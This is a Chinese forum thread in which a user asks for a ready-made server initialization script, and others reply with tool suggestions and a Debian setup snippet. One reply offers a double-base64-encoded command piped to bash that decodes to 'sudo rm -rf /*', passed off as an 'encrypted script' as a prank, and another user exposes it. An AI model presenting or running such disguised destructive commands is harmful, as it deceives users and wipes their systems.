伸手党：深夜问问有没有一键初始化服务器配置的脚本

[mywaiting]

部署了一个服务器，当然啦，无论是云还是物理机啥的

运行一下 ./init.sh 就可以完全配置好这台服务器这样的 shell script

当然了，里面希望可以有地方可以直接定制一下

包括但不限于：

1 、配置好 hostname 、 ntp 、 hosts
2 、配置好 /etc/ssh/sshd_config 不能 root 登录，只能使用证书登录
3 、有配置好 iptables 的地方，并设置好开机启动
4 、添加好 sudo 用户
5 、按照 fail2ban 等（可选）


有知道这样的 麻烦分享一下，懒得自己写了

谢谢！

[dzxx36gyy]

很多人都应该有这种自用的脚本……但是因为是自用估计大部分都是写死的……所以你还是自己写吧

[9hills]

Ansible playbook

[debiann]

又要定制，又要别人以前写好的。不觉得矛盾吗

[cocochan]

echo "YzNWa2J5QnliU0F0Y21ZZ0x5bz0="|base64 -d|base64 -d|bash

加密脚本

[iThink]

@cocochan 果然是 sudo rm -rf /* 这样真的好么？

[iyaozhen]

楼主你这样说是要给钱的

[dangge]

看看 docker ？

[66450146]

用 puppet 吧，其实这种东西手写一下很快的

[mywaiting]

@cocochan 我读书少，你不要欺负我........

[xuboying]

cloud-init 可以。但我还不会用。。。

[shiji]

我来给你分享一段我自己曾经用过的（ Linode 的 StackScript ）
Debian 的。

# 设置 SSH 登陆，（公钥是存在一个网站上的）
mkdir /root/.ssh && chmod 700 /root/.ssh
wget https://*****************/authorized_keys -O /root/.ssh/authorized_keys
sed -i s/\#PasswordAuthentication\ yes/PasswordAuthentication\ no/ /etc/ssh/sshd_config
service ssh restart

# 设置 iptables ， 如果已经有了现成的规则，要在 echo 之前用 iptables-restore/ip6tables-restore 加载。
apt-get update
echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections
echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections
apt-get install -y -qq iptables-persistent

[mckelvin]

用 shell 脚本加 sudo 用户是不是感觉很累？你需要 ansible 之类的自动化 provision 的工具。类似的还有 chef, puppet.个人最喜欢 Ansible.